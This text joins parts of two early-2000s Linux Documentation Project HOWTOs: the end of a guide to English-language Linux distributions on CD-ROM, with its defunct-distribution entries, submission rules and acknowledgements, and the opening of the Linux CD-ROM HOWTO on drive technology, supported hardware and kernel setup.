Build affordable, scalable and available server clusters (25+ cluster nodes!) with TurboCluster Server 4.0, voted Best Web Solution by the editors of Linux Journal. TurboCluster Server, also named Corporate IT Best Product winner for enterprise-class customers at the IT 2000 Sydney computer show, integrates seamlessly into your existing IT environment to cluster Solaris and Windows NT server nodes as well as Linux..

enFuzion 6.0>

Turn your existing network into a supercomputer! Based on a simple but powerful concept called parametric execution, enFuzion turns your existing computer network into a high speed, fault tolerant, highly available supercomputer.

Internet access:

Ordering:

See http://www.turbolinux.com/products/ TurboLinux is also offered in retail stores and many online stores.

Support:

Last freeze date:

Workstation 6.0 - January 3. Server 6.0 - January 3. TurboCluster Server - October 4.

Estimated update frequency can vary from 2 weeks to 3 months depending on the product.

Entry last modified:

22 Mar 2000.

Reviewer's comments:

3.8. Xandros Linux

Name:

Xandros Linux

(See Corel Linux)

Distributor:

Net: info@xxx.com
WWW: http://www.xxx.com
FTP: ftp://ftp.xxx.com
Vox: (000)-000-1234
Fax: (000)-000-1234

Provider's description:

Internet access:

Ordering:

Support:

Last freeze date:

Entry last modified:

Reviewer's comments:

3.9. xxxxx Linux

Name:

xxxxx Linux

Distributor:

xxxxxxxxxxx
xxxxxxxxxxx
xxxxxxxxxxx

Net: info@xxx.com
WWW: http://www.xxx.com
FTP: ftp://ftp.xxx.com
Vox: (000)-000-1234
Fax: (000)-000-1234

Provider's description:

Internet access:

Ordering:

Support:

Last freeze date:

Entry last modified:

Reviewer's comments:

Prev | Home | Next
Best-known distributions |  | Hall of Remembrance


English-language GNU/Linux distributions on CD-ROM

(formerly: The Linux distributions HOWTO)

Martin S. Wheeler

StarTEXT document engineering

Glastonbury
England, UK
msw@startext.co.uk

Copyright © 2001, 2002 by Martin S. Wheeler

Revision History
Revision v7.5 2002-03-15 Revised by: msw

This document is intended to show prospective users or administrators of a GNU/Linux system the range of choices open to them when deciding on a distribution for the first time. It also aims to help experienced users track the state of the GNU/Linux distributions market. It emphatically does not aim to be a complete list of all GNU/Linux distributions for all platforms and in all languages. The focus is on popular English-language distributions; specifically compiled for the Intel platform; available on CD-ROM; and easily accessible to the first-time user.

Remarks specific to the WikiWikiWeb version

Obviously, the state correspondence between the permanently volatile wiki version of the currently available English-language Linux CD-ROM distributions info, and the semi-static web-page version published by the LDP, will constantly vary. This is the wiki nature. The two should therefore be considered as entirely separate and distinct documents. This said however, it is intended that the wiki version be the more up-to-date, and form a pre-publication basis for regular updates of the LDP web-page version.

Remarks specific to the LDP Wikitext version

The situation is further complicated by the fact that there is yet another wikified version of the text available, in the LDP wikitext database. It is hoped that this version will eventually be editable by anyone who wishes to add their contribution to the common pool of information. Currently however, it is only editable by approved LDP editors.

Table of Contents
1. Introduction
1.1. Background
1.2. New versions of this document
1.3. Recent changes
1.4. Overview of the Linux market
1.5. Personal opinions
2. Best-known distributions
2.1. Caldera OpenLinux
2.2. Debian GNU/Linux
2.3. Mandrake Linux
2.4. Red Hat Linux
2.5. Slackware Linux
2.6. S.u.S.E. Linux
3. Other distributions
3.1. KRUD - Kevin's Red Hat Uber Distribution
3.2. Linux by Libranet
3.3. LinuxGT
3.4. Linux Pro
3.5. Redmond Linux
3.6. Trans-Ameritech Linuxware
3.7. Turbo Linux
3.8. Xandros Linux
3.9. xxxxx Linux
4. Hall of Remembrance
4.1. Corel Linux
4.2. Linux-FT
4.3. Softlanding Linux
4.4. Storm Linux
5. Submissions for inclusion in this document
5.1. Types of submissions
5.2. How to submit
5.3. Submission guidelines
6. Administrivia
6.1. Terms of use
6.2. Acknowledgements
Next
Introduction


Hall of Remembrance

English-language GNU/Linux distributions on CD-ROM: (formerly: The Linux distributions HOWTO)
Prev Next

4. Hall of Remembrance

In search of things past? A page for those of us with fond memories.

The distributions listed in this section are no longer maintained. They are included here for historical reasons, and for those who may be attempting to locate information about the distribution.

They are listed in alphabetical order.

4.1. Corel Linux

Name:

Corel Linux

(since relegating this distribution to the Hall of Remembrance , several rather angry e-mails have pointed out to me that it still survives, although apparently not under the same name. Sorry about that. - msw)

Distributor:

Xandros Corporation
600-1410 Blair Place
Ottawa
Ontario
CANADA K1J 9B9

Net: feedback@xandros.com
WWW: http://www.xandros.com
FTP: ftp://ftp.xxx.com
Vox: (613)-842-3494
Fax: (613)-842-3499

Provider's description:

Xandros is developing a customized Debian-based Linux distribution that is derived from version 3.0 of the award winning Corel LINUX OS. It will support both the KDE and Gnome desktop environments. In addition to the features that Linux users expect, Xandros will be distributing significant additions and enhancements. Furthermore, Xandros is creating a server and enterprise management solution that will significantly reduce the total cost of ownership of computing environments. The overall solution is complete "off the shelf", but Xandros Professional Services can customize and integrate the products as well as provide enhancements to legacy systems as needed. Finally, all Xandros offerings will be backed by world-class support.

Internet access:

http://www.xandros.com/downloads.html

Ordering:

Support:

Corel Linux is NOT supported by Xandros Corp.

Last freeze date:

Entry last modified:

Reviewer's comments:

An entry for the Xandros distribution should be added to the live HOWTO as soon as it is updated (early 2002?).

4.2. Linux-FT

Name:

Linux-FT

One of the earlier of the prepackaged distributions of Linux, it was sold in England by Lasermoon, who were also one of the early resellers of Slackware on CD-Rom. Much of the design of Linux-FT was based on a German original distribution by Unifix - occasionally, error messages had a disconcerting habit of coming up in the wrong language!

The distribution was started in 1995-96 and lasted for two or three years. Noteworthy features included a licensed copy of the Motif window manager; and an experimental live filing system whereby much of the system ran from CD and applications were cached if not used. The distribution was also one of the first to convert to ELF format for binaries. This was a very polished product in versions 1.0 - 1.2. There was a very long hiatus until version 2.0 was released and many of the promised features did not materialise in the final version released as 2.0.

Unifix did considerable work on establishing POSIX compliance for Linux-FT: Ian Nandhra of Lasermoon established a company to produce Linux tools running on a Microsoft Windows operating system (Insignix?) which was later purchased by Microsoft. There are rumours that the POSIX subsystem in Windows NT 4.0 is a modified Linux product stemming from this.

Distributor:

xxxxxxxxxxx
xxxxxxxxxxx
xxxxxxxxxxx

Net: info@xxx.com
WWW: http://www.xxx.com
FTP: ftp://ftp.xxx.com
Vox: (000)-000-1234
Fax: (000)-000-1234

Provider's description:

Internet access:

Ordering:

Support:

Last freeze date:

Entry last modified:

Reviewer's comments:

4.3. Softlanding Linux

Name:

Softlanding Linux

(Within 12 hours of publishing this wiki version, I received the following e-mail from the author of the CDServer-HOWTO)

"I ran across your "English-language GNU/Linux distributions on CD-ROM" and happened to be reading your personal opinions. This had me reminiscing about my first experience with Linux. Took me a while to remember the name of it, Softlanding Linux System (SLS) ... I did remember the kernel version was 0.97. I wondered what had happened to that distribution (that I incidentally had downloaded onto floppies in early '93).

"All the while, I thought I may have had a submission for your Hall of Remembrance . I entered "softlanding" into Google and found that the Softlanding distribution was actually an early version of what SUSE was based on! Even more to my surprise, I learned that Slackware was also initially based on SLS.

"All the while, I thought I may have had a submission for your Hall of Remembrance . I entered "softlanding" into Google and found that the Softlanding distribution was actually an early version of what SUSE was based on! Even more to my surprise, I learned that Slackware was also initially based on SLS.

"Anyway, thanks for the great reading and the history lesson :-).

"Here's a couple of the articles I had found... probably not pertinent to your distributions document, but fun to read none-the-less.

http://www.developer.ibm.com/library/articles/schenk2b.html http://www.linuxuser.co.uk/articles/issue9/lu9-All_you_need_to_know_about-The_early_history_of_Linux_part_2.pdf

"Best regards,

"Randy Tata Author: CDServer-HOWTO"

Distributor:

xxxxxxxxxxx
xxxxxxxxxxx
xxxxxxxxxxx

Net: info@xxx.com
WWW: http://www.xxx.com
FTP: ftp://ftp.xxx.com
Vox: (000)-000-1234
Fax: (000)-000-1234

Provider's description:

Internet access:

Ordering:

Support:

Last freeze date:

Entry last modified:

Reviewer's comments:

4.4. Storm Linux

Name:

Storm Linux

Storm Linux was a Debian-derived distribution from a Canadian firm which aimed to produce an easier to use Debian. Unfortunately their venture did not prove profitable and, with reluctance, they were obliged to cease trading in late 2001.

Distributor:

xxxxxxxxxxx
xxxxxxxxxxx
xxxxxxxxxxx

Net: info@xxx.com
WWW: http://www.xxx.com
FTP: ftp://ftp.xxx.com
Vox: (000)-000-1234
Fax: (000)-000-1234

Provider's description:

Internet access:

Ordering:

Support:

Last freeze date:

Entry last modified:

Reviewer's comments:

Prev | Home | Next
Other distributions |  | Submissions for inclusion in this document


Submissions for inclusion in this document

English-language GNU/Linux distributions on CD-ROM: (formerly: The Linux distributions HOWTO)
Prev Next

5. Submissions for inclusion in this document

We encourage anyone and everyone who maintains a Linux distribution or mail order service, to submit information on their service to this document. It's easy and fun, and it's free advertising. This document is posted to many places and is archived (see the next section).

5.1. Types of submissions

We are interested in submissions for:

  • Complete distributions of GNU/Linux software available on CD-ROM. (We no longer carry FTP-only distributions, as this document is aimed primarily at new users for whom such a means of distribution is not appropriate.) By `complete distribution' we mean any set of software which can be used to build a complete GNU/Linux system from scratch.

  • Layered products or individual software packages available only via mail order. If your software package is available via anonymous FTP, chances are people can find it. Software products only available via mail-order include commercial things such as Motif, and any other commercial software ported to Linux.

  • Any other Linux-specific goods available via mail order, such as Linux-specific books and documentation, T-shirts, and assorted paraphernalia. Note: our interest in the latter categories is marginal — this is a Linux Distributions HOWTO, not a catalogue of cutesy Linux junk. Whatever you're selling will have to be (a) very useful, (b) very original, or (c) very funny, to get listed here.

If the number of submissions for services and layered products is large, we'll create a separate document for these items.

5.2. How to submit

To submit an entry to this document, please send mail to msw@startext.co.uk with the following information. This format is not machine-parsable; any of the fields may be any length that you wish, but I'd like to keep each entry down to, say, 50 lines.

(Or, of course, you could always go to either of the wiki sites and enter your text directly!)

Name:

- name of service or distribution

Distributor:

- name of company, person, etc. who distributes/maintains the service or distribution. Should include mail, e-mail, phone contact information, and (if possible) a WWW reference.

Provider's description:

- description of the distribution or service that you provide. If this is a software distribution, please include information such as what software is included, versions, general overview of installation, requirements, and so on.

Internet access:

- where your service or distribution is available over the Internet; typically a WWW or FTP address.

Ordering:

- how to order your distribution or service, if applicable. Include prices, shipping information, methods of payment, etc.

Support:

- information on support terms and support contracts.

Last freeze date:

- last freeze date of the current version(s). Also, your estimated update frequency.

Entry last modified:

- date of submission of this entry.

Reviewer's comments:

- independent reviewer's comments.

5.3. Submission guidelines

Please keep your entry as short as possible. If you need to include extensive information, please make a reference to where one can FTP or mail to get more information on your distribution; these entries are only meant to be pointers to where one can find information on your service or distribution.

If you provide more than one service or distribution, please use separate entries for each.

We may edit your entries for conciseness and brevity if we find any irrelevant information, or if the entry is overly verbose. Otherwise the content should remain the same.

When making submissions to this document, you grant implicit permission for the LDP to use the entries in other materials, such as printed books, or further online documents. For example, information taken from this document may be included in a published Linux book. If you do not want us to include your entry in materials other than the current online document, please say so.

Prev | Home | Next
Hall of Remembrance |  | Administrivia


Administrivia

English-language GNU/Linux distributions on CD-ROM: (formerly: The Linux distributions HOWTO)
Prev

6. Administrivia

6.1. Terms of use

This document is copyright 2001 by Martin S. Wheeler. You may use, disseminate, and reproduce it freely, provided you:

  • do not omit or alter this copyright notice.

  • do not omit or alter the version number and date.

  • do not omit or alter the document's pointer to the current WWW version.

  • clearly mark any condensed, or altered versions as such.

These restrictions are intended to protect potential readers from stale or mangled versions. If you think you have a good case for an exception, ask me.

6.2. Acknowledgements

This document was originated by Bill Riemers. Matt Welsh maintained the second version. Erik Troan then maintained the document to release 3.0.

In January 1995, Eric Raymond, while unaware of the existence of this document, began to develop a similar FAQ in the format of his not-quite-yet-discontinued PC-clone UNIX Software Buyer's Guide, which covered mainly System V UNIXes and BSD/OS. (This Buyer's Guide should still be available on Eric's site somewhere, if he has not yet turned it into a useful HOWTO.)

In March 1995, Eric approached Erik about cooperating on a merged version. In early April 1995, Erik went to work for Red Hat Software, and (wishing to avoid a conflict of interest) handed the document to Eric. Eric merged in a lot of new information and added several new fields to the distribution entries, taking the document through releases 4, 5 and 6.

In January 2001, Martin Wheeler took over editorship of the document, which with the enormous expansion in numbers of distributions available, had become extremely time-consuming to maintain, and which Eric had decided to abandon.

In September 2001, a wikified version of the HOWTO was created, which in January 2002 was made available to the general public on-line as an experiment in collaborative editing.

Accordingly, this document is the result of serial collaboration. The editorial `we' generally tags observations by all the maintainers; `I' is Martin (the current editor/maintainer) speaking.

We are delighted to acknowledge the contributions of all the Linux users and Internet hackers who have contributed information and feedback.

Martin Wheeler
Glastonbury
March 2002

Prev | Home
Submissions for inclusion in this document |


The Linux CD-ROM HOWTO

Jeff Tranter

tranter@pobox.com

v1.17, 18 July 2001

Revision History
Revision 1.17 | 2001-07-18 | Revised by: jjt
Merged in some questions from the no longer maintained ATAPI/IDE CD-ROM FAQ by Mathew Kirsch. Added note on the Red Hat 7.1 DMA issue.
Revision 1.16 | 2001-07-16 | Revised by: jjt
Relicensed under the GFDL.
Revision 1.15 | 2001-05-11 | Revised by: jjt

This document describes how to install, configure, and use CD-ROM drives under Linux. It lists the supported hardware and answers a number of frequently asked questions. The intent is to bring new users up to speed quickly and reduce the amount of traffic in the Usenet news groups and mailing lists.

Table of Contents
1. Introduction
1.1. Acknowledgments
1.2. New Versions Of This Document
1.3. Feedback
1.4. Distribution Policy
2. CD-ROM Technology
3. Supported Hardware
3.1. ATAPI CD-ROM Drives
3.2. SCSI CD-ROM Drives
3.3. Proprietary CD-ROM Drives
3.4. Parallel Port Drives
3.5. PCMCIA Drives
3.6. USB CD-ROM Drives
4. Installation
4.1. Installing the Hardware
4.2. Configuring and Building the Kernel
4.3. Creating Device Files and Setting Boot Time Parameters
4.4. Booting the Linux Kernel
4.5. Mounting, Unmounting, and Ejecting Devices
4.6. Troubleshooting
5. Applications
5.1. Audio CD Players
5.2. PhotoCD
5.3. Mkisofs
5.4. ISO-9660 Utilities
6. Answers to Frequently Asked Questions
6.1. How can a non-root user mount and unmount discs?
6.2. Why do I get device is busy when unmounting a CD-ROM?
6.3. How do I export a CD-ROM to other hosts over NFS?
6.4. Can I boot Linux from a CD-ROM?
6.5. How can I read digital data from audio CDs?
6.6. Why doesn't the find command work properly?
6.7. Does Linux support any recordable CD-ROM drives?
6.8. Why do I get mount: Read-only file system when mounting a CD-ROM?
6.9. Why does the disc tray open when I shut down the system?
6.10. I have a "special" CD that can't be mounted
6.11. Do multi-platter CD-ROM drives work with Linux?
6.12. I get "/cdrom: Permission denied" errors
6.13. How do I interpret IDE CD kernel error messages?
6.14. How can I tell what speed CD-ROM I have?
6.15. My CD-ROM stopped working after Linux was installed
6.16. There are "hidden" files on a CD which I can't read
6.17. Where is the CD-ROM API documented?
6.18. Why don't I see long filenames on this Windows CD-ROM?
6.19. Is Microsoft's Joliet filesystem supported?
6.20. Does Linux support "enhanced" CDs?
6.21. Does Linux support DVD-ROM?
6.22. Does Linux support CD-RW?
6.23. How do I mount a multi-session disc?
6.24. How do I read a CD volume label?
6.25. My IDE CD-R or CD-RW drive is not working with Linux
6.26. Is the insert your brand/model here IDE CD-ROM drive supported?
6.27. I can't seem to find a driver for my IDE drive in the kernel source?
6.28. I'm having problems with my CD-ROM on Red Hat 7.1
7. References
Next
Introduction


Introduction

The Linux CD-ROM HOWTO
Prev Next

1. Introduction

This is the Linux CD-ROM HOWTO. It is intended as a quick reference covering everything you need to know to install and configure CD-ROM hardware under Linux. Frequently asked questions related to CD-ROM are answered, and references are given to other sources of information related to CD-ROM applications and technology.

1.1. Acknowledgments

Much of this information came from the documentation and source files provided with the Linux kernel, the Internet alt.cdrom newsgroup FAQ, and input from Linux users.

Thanks to the DocBook tools, this HOWTO is available in several formats, all generated from a common source file.

1.2. New Versions Of This Document

New versions of this document will be periodically posted to the comp.os.linux.answers newsgroup. Hypertext versions of this and other Linux HOWTOs are available on many world-wide web sites, including http://www.linuxdoc.org. Most Linux CD-ROM distributions include the HOWTOs, often under the /usr/doc directory, and you can also buy printed copies from several vendors. Sometimes the HOWTOs available from CD-ROM vendors, ftp sites, and printed format are out of date. If the date on this HOWTO is more than six months in the past, then a newer copy is probably available on the Internet.

Please note that, due to the dynamic nature of the Internet, all web and ftp links listed in this document are subject to change.

Translations of this document are available in several languages:

Chinese: http://www.linux.org.tw/CLDP/CDROM-HOWTO.html

French: http://www.freenix.org/unix/linux/HOWTO/

German: http://www.tu-harburg.de/dlhp/HOWTO/DE-CDROM-HOWTO.html

Korean: http://kldp.org/HOWTO/html/CDROM/CDROM-HOWTO.html

Japanese: http://www.linux.or.jp/JF/JFdocs/CDROM-HOWTO.html

Polish: http://www.jtz.org.pl/Html/CDROM-HOWTO.pl.html

Spanish: ftp://ftp.insflug.org/es

Swedish: ftp://ftp.hig.se/pub/linux/swe-doc/

Most translations of this and other Linux HOWTOs can also be found at http://www.ibiblio.org/pub/Linux/docs/HOWTO/translations/. If you make a translation of this document into another language, let me know and I'll include a reference to it here.

1.3. Feedback

I rely on you, the reader, to make this HOWTO useful. If you have any suggestions, corrections, or comments, please send them to me, tranter@pobox.com, and I will try to incorporate them in the next revision.

I am also willing to answer general questions on CD-ROM under Linux, as best I can. Before doing so, please read all of the information in this HOWTO, and then send me detailed information about the problem. Please do not ask me about using CD-ROM drives under operating systems other than Linux.

If you publish this document on a CD-ROM or in hardcopy form, a complimentary copy would be appreciated; mail me for my postal address. Also consider making a donation to the Linux Documentation Project to help support free documentation for Linux. Contact the LDP at feedback@linuxdoc.org for more information.

1.4. Distribution Policy

Copyright (c) 1995-2001 by Jeff Tranter. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is available at http://www.gnu.org/copyleft/fdl.html

Prev | Home | Next
The Linux CD-ROM HOWTO |  | CD-ROM Technology


CD-ROM Technology

The Linux CD-ROM HOWTO
Prev Next

2. CD-ROM Technology

"CD-ROM is read-only memory, and audio compact disc system is available as package-media of digital data for those purpose. For playing audio CD, please insert Head-phone jack."

--from a CD-ROM instruction manual

Don't Panic! The world of CD-ROM technology is not as confusing as your instruction manual.

CD-ROM stands for Compact Disc Read-Only Memory, a mass storage medium utilizing an optical laser to read microscopic pits on the aluminized layer of a polycarbonate disc. The same format is used for audio Compact Discs. Because of its high storage capacity, reliability, and low cost, CD-ROM has become an increasingly popular storage media.

The storage capacity of a CD-ROM disc is approximately 650 megabytes, equivalent to over 500 high density 3.5" floppy disks or roughly 250,000 typed pages.

First generation drives (known as single speed), provided a transfer rate of approximately 150 kilobytes per second. Hardware manufacturers then introduced double speed (300 kB/sec), quad speed (600 kB/sec), and higher. Current drives operate at up to 40 times speed, although the maximum rate is only achievable over certain portions of the disc surface.

Most CD-ROM drives use either the Small Computer Systems Interface (SCSI), ATAPI enhanced IDE interface, or a vendor proprietary interface. They also typically support playing audio CDs via an external headphone jack or line level output. Most drives also allow reading the frames of data from audio CDs in digital form.

CD-ROMs are usually formatted with an ISO-9660 (formerly called High Sierra) file system. This format restricts filenames to the MS-DOS style (8+3 characters). The Rock Ridge Extensions use undefined fields in the ISO-9660 standard to support longer filenames and additional Unix style information (e.g. file ownership, symbolic links, etc.). Microsoft has defined a proprietary ISO file system extension called Joliet which supports long filenames using the 16-bit UNICODE character encoding.

PhotoCD is a standard developed by Kodak for storing photographic images as digital data on a CD-ROM. With appropriate software, you can view the images on a computer, manipulate them, or send them to a printer. Information can be added to a PhotoCD at a later date; this is known as multi-session capability.

CD recordable (CD-R) drives allow writing onto a special "gold" CD which can then be read by any CD-ROM drive. Data can only be written once, although using multi-session new data can be appended to a disc.

CD-RW (rewritable) drives can be erased and rewritten with new data. They use special discs which can be read by most recent CD-ROM drives (but not older ones or most audio CD players).

DVD-ROM expands the storage of a CD to as much as 17 gigabytes. They are commonly used as a medium for distributing full length motion pictures encoded using the MPEG-2 format. The MPEG video decoding is performed using specialized decoder software and/or hardware. DVD-RAM is a writable version of DVD.

Prev | Home | Next
Introduction |  | Supported Hardware


Supported Hardware

The Linux CD-ROM HOWTO
Prev Next

3. Supported Hardware

This section lists the CD-ROM drivers and interfaces that are currently supported under Linux. The information here is based on the latest stable Linux kernel, which at time of writing was version 2.4.4.

This information is valid for Linux on the Intel x86 platform. Much of it is applicable to Linux on other processor architectures as well.

3.1. ATAPI CD-ROM Drives

ATAPI (ATA Packet Interface) is a protocol for controlling mass storage devices. It builds on the ATA (AT Attachment) interface, the official ANSI standard name for the IDE interface developed for hard disk drives. ATAPI is commonly used for hard disks, CD-ROM drives, tape drives, and other devices. Currently the most popular type of interface, it offers most of the functionality of SCSI, without the need for an expensive controller or cables.

The Linux kernel has a device driver that should work with any ATAPI compliant CD-ROM drive. Vendors shipping compatible drives include Aztech, Mitsumi, NEC, Sony, Creative Labs, and Vertos. If you have recently purchased a CD-ROM drive, especially if it is quad speed or faster, it is almost guaranteed to be IDE/ATAPI.

Linux also has an IDE SCSI emulation kernel driver that makes an IDE/ATAPI device appear in software to be a SCSI device, allowing the use of a SCSI device driver instead of the native ATAPI driver. This is useful if you have an ATAPI device for which no native driver has been written (for example, an ATAPI PD-CD or CDR drive); you can then use this emulation together with an appropriate SCSI device driver.

3.2. SCSI CD-ROM Drives

SCSI (Small Computer Systems Interface) is a popular format for CD-ROM drives. Its chief advantages are a reasonably fast transfer rate, multi-device capability, and support on a variety of computer platforms. Some disadvantages of SCSI are the need for a relatively expensive controller card and cables.

Any SCSI CD-ROM drive with a block size of 512 or 2048 bytes should work under Linux; this includes the vast majority of CD-ROM drives on the market.

You will also need a supported SCSI controller card; see the Linux SCSI HOWTO for more information on interface hardware.

Note that some older CD-ROM drives use a proprietary controller with a modified interface that is not fully SCSI compatible (e.g. it may not support adding other SCSI devices on the bus). These will most likely not work under Linux.

3.3. Proprietary CD-ROM Drives

Several CD-ROM drives using proprietary interfaces are available; the interface is often provided on a sound card. Simple interface cards equivalent to that provided on the sound card are also available. These drives generally tend to be lower in cost and smaller than SCSI drives. Their disadvantages are the lack of standardization and expandability.

Note that proprietary interfaces are sometimes erroneously referred to as IDE interfaces, because like IDE hard disks, they use a simple interface based on the PC/AT bus. To add to the confusion, some vendors, most notably Creative Labs, have shipped many different types of CD-ROM drives and have offered proprietary, SCSI, and ATAPI interfaces on their sound cards.

The table below lists the proprietary CD-ROM drives that are known to be supported under Linux. Drivers for additional devices may be available in the latest development kernels or as kernel patches. The latter can most often be found at ftp://www.ibiblio.org/pub/Linux/kernel/patches/cdrom/. Also check the documentation files included with the kernel distribution, usually installed in /usr/src/linux/Documentation/cdrom, for the latest information.

Vendor | Model | Kernel Driver | Notes
Panasonic | CR-521 | sbpcd | Note 1
Panasonic | CR-522 | sbpcd | Note 1
Panasonic | CR-523 | sbpcd | Note 1
Panasonic | CR-562 | sbpcd | Note 1
Panasonic | CR-563 | sbpcd | Note 1
Creative Labs | CD-200 | sbpcd |
IBM | External ISA | sbpcd | Note 2
Longshine | LCS-7260 | sbpcd |
Teac | CD-55A | sbpcd |
Sony | CDU-31A | cdu31a |
Sony | CDU-33A | cdu31a |
Sony | CDU-535 | sonycd535 | Note 3
Sony | CDU-531 | sonycd535 |
Aztech | CDA268-01A | aztcd | Note 4
Orchid | CDS-3110 | aztcd |
Okano/Wearnes | CDD110 | aztcd |
Conrad | TXC | aztcd |
CyCDROM | CR520ie | aztcd |
CyCDROM | CR940ie | aztcd |
GoldStar | R420 | gscd | Note 5
Philips/LMS | CM206 | cm206 | Note 6
Mitsumi | CRMC LU005S | mcd/mcdx | Note 7, 8
Mitsumi | FX001 | mcd/mcdx | Note 7, 8
Optics Storage | Dolphin 8000AT | optcd |
Lasermate | CR328A | optcd |
Sanyo | H94A | sjcd |
various | various | isp16 | Note 9

Notes:

  1. These drives may be sold under the names Creative Labs, Panasonic, Matsushita, or Kotobuki.

  2. This drive is the same as a Panasonic CR-562.

  3. May also be sold under the Procomm name.

  4. This driver is for the CDA268-01A only. Other models, including the CDA268-03I and CDA269-031SE are not proprietary and should use the IDECD (ATAPI) kernel driver.

  5. May also be sold as part of a Reveal Multimedia Kit.

  6. The Philips CM205 is not supported by this driver, but there is a separate alpha release driver available from ftp://www.ibiblio.org in /pub/Linux/kernel/patches/cdrom/lmscd0.4.tar.gz

  7. May also be sold under the Radio Shack name.

  8. There are two drivers available. "mcd" is the original one, and "mcdx" is a newer driver with more features (XA and multi-session support).

  9. This driver works with CD-ROM drives that are attached to the interface on an ISP16, MAD16 or Mozart sound card.

If a drive listed here is not supported by your kernel, you probably need to upgrade to a newer version.

If your drive is not one of the models listed here, particularly if it was bought recently and is quad speed or faster, it probably uses the IDE/ATAPI interface listed in a previous section. The single most common error among Linux CD-ROM users is to assume that any drive connected to a SoundBlaster card should use the SBPCD driver. Creative Labs and most other vendors are no longer selling proprietary interface drives, they are following the standard ATAPI/IDE interface.

3.4. Parallel Port Drives

There are external storage devices, including CD-ROM drives, that attach to the parallel port of personal computers. In many cases the devices internally use an IDE interface in conjunction with an adaptor which interfaces the internal IDE bus to the PC parallel port.

Linux has a parallel port IDE driver which supports most parallel port devices. At the time of writing it supported devices from the following vendors (as well as most no-name and clone drives compatible with these): ATEN, Avatar, DataStor, Fidelity International Technology, Freecom, Hewlett-Packard, Imation, KT Technology, KingByte Information Corp., Maxell, MicroSolutions, OnSpec, Shuttle Technology, SyQuest, and ValuStore.

Additional information can be found at http://www.torque.net/parport/.

3.5. PCMCIA Drives

Using a PCMCIA SCSI or IDE adaptor you can connect external CD-ROM drives to a laptop. Once the appropriate PCMCIA kernel driver is installed the drives will appear like any other IDE or SCSI drives.

See the Linux PCMCIA HOWTO for more information.

3.6. USB CD-ROM Drives

The Universal Serial Bus has support for mass storage devices. USB CD-R and CD-RW drives are popular because they can be quickly and easily moved between systems.

You need to configure the kernel for "USB Mass Storage support". This makes USB storage devices appear like SCSI, although they do not use the same device files. See the Linux USB HOWTO for more details.

Prev | Home | Next
CD-ROM Technology |  | Installation


Installation

The Linux CD-ROM HOWTO
Prev Next

4. Installation

Installation of a CD-ROM under Linux consists of these steps:

  1. Installing the hardware.

  2. Configuring and building the Linux kernel.

  3. Creating device files and setting boot time parameters

  4. Booting the Linux kernel.

  5. Mounting the media.

The next sections will cover each of these steps in detail.

4.1. Installing the Hardware

Follow the manufacturer's instructions for installing the hardware or have your dealer perform the installation. The details will vary depending on whether the drive is internal or external and on the type of interface used. There are no special installation requirements for Linux. You may need to set jumpers on the drive and/or interface card for correct operation; some of the kernel drivers include documentation files that include this information.

As explained in the file ide-cd, ATAPI CD-ROMS should be jumpered as "single" or "master", and not "slave" when only one IDE device is attached to an interface (although this restriction is no longer enforced with recent kernels).

4.2. Configuring and Building the Kernel

When initially installing Linux from CD-ROM you will likely be using a boot and/or root disk provided as part of a Linux distribution. If possible, you should choose a boot disk with the kernel driver for your CD-ROM device type. If you cannot find a boot disk with the necessary CD-ROM driver, you have several options:

  1. Boot directly from CD-ROM (if supported by your computer and Linux CD)

  2. Install over a network

  3. Boot DOS, and install the Linux files onto your hard disk

  4. Boot DOS, and create a set of floppies to install Linux

  5. Find someone who can build you a boot disk with the needed CD-ROM driver

The Linux Installation HOWTO has more information on installing Linux. If you purchased Linux on CD-ROM, it likely also came with some installation instructions (that little booklet inside the jewel case, and/or files on the CD).

Once Linux has initially been installed, most users will want to compile their own kernel, usually for one of these reasons:

  • to support a CD-ROM drive or other hardware

  • to upgrade to a newer kernel release

  • to free up memory resources by minimizing the size of the kernel

The Linux Kernel HOWTO should be consulted for the details of building a kernel. I will just mention here some issues that are specific to CD-ROM drives.

Obviously, you need to compile in support for your CD-ROM drive when you configure the kernel.

If you have an ATAPI CD-ROM drive, you need to enable Enhanced IDE/MFM/RLL disk/cdrom/tape support and Include IDE/ATAPI CDROM support.

For SCSI CD-ROM drives, enable the options SCSI support and SCSI CDROM support. Also enable support for your SCSI host adapter when prompted, e.g. Adaptec AHA152X/2825 support.

For proprietary interface CD-ROM drives, enable the appropriate driver. You can use the table listed previously to determine the driver to use for your model.

Virtually all CD-ROMs use the ISO-9660 file system, so you must also enable ISO 9660 CDROM filesystem support.

Although not needed for CD-ROM operation, if you have a sound card that is supported under Linux you might want to enable and configure the kernel sound driver at this time as well. The Sound HOWTO can be a useful reference here.

You should then follow the usual procedure for building the kernel and installing it. Don't boot with the new kernel until you create the device files and set up any boot time parameters as described in the next section.

The ISO-9660 filesystem and almost all of the CD-ROM drivers can be built as loadable kernel modules. This scheme allows the kernel drivers to be loaded and unloaded without rebooting the kernel, freeing up memory. I recommend you get your CD-ROM installation running using compiled-in drivers first. How to use modules is described in the modules documentation and the Kernel HOWTO.

If a drive type listed here is not supported by your kernel, you likely need to upgrade to a newer version.

It is possible that you need to use a driver that is distributed separately from the kernel source code. This usually involves patching the kernel. Again, the Kernel HOWTO explains how to do this.

Note that you can configure the kernel using the text-based program using "make config", a menu-based kernel configuration program invoked by "make menuconfig" and an X11-based graphical configuration invoked as "make xconfig". All three configuration methods offer on-line help.

4.3. Creating Device Files and Setting Boot Time Parameters

The kernel uses device files to identify which device driver to use. If you are running a standard Linux distribution you may have created the necessary device files during installation. Under Slackware Linux, for example, there is a menu-based setup tool that includes CD-ROM setup, and most systems have a /dev/MAKEDEV script. If you don't use these methods, you can use the more manual procedure listed in this section. Even if you use either of these methods, it is recommended that you at least verify the device files against the information in this section.

If you are using the new devfs file system in the 2.4 kernels, the device files are created dynamically by the kernel rather than residing on disk, and follow a different naming convention. The examples in this document assume that devfs is not being used, and may need to be adjusted accordingly if you are.

You create the device file by running the shell commands indicated for your drive type. This should be done as user root. Note that some Linux distributions may use slightly different CD-ROM device names from those listed here.

I recommended that you also create a symbolic link to the CD-ROM device to make it easier to remember. For example, for an IDE CD-ROM drive that is the second device on the secondary interface, the link would be created using

# ln -s /dev/hdd /dev/cdrom

If you want to play audio CDs, you will need to set the protection on the device file (the real file, not the symbolic link to it) to allow all users to read, e.g.

# chmod 664 /dev/hdd
# ls -l /dev/hdd
brw-rw-r--   1 root     disk      22,  64 Feb  4  1995 /dev/hdd

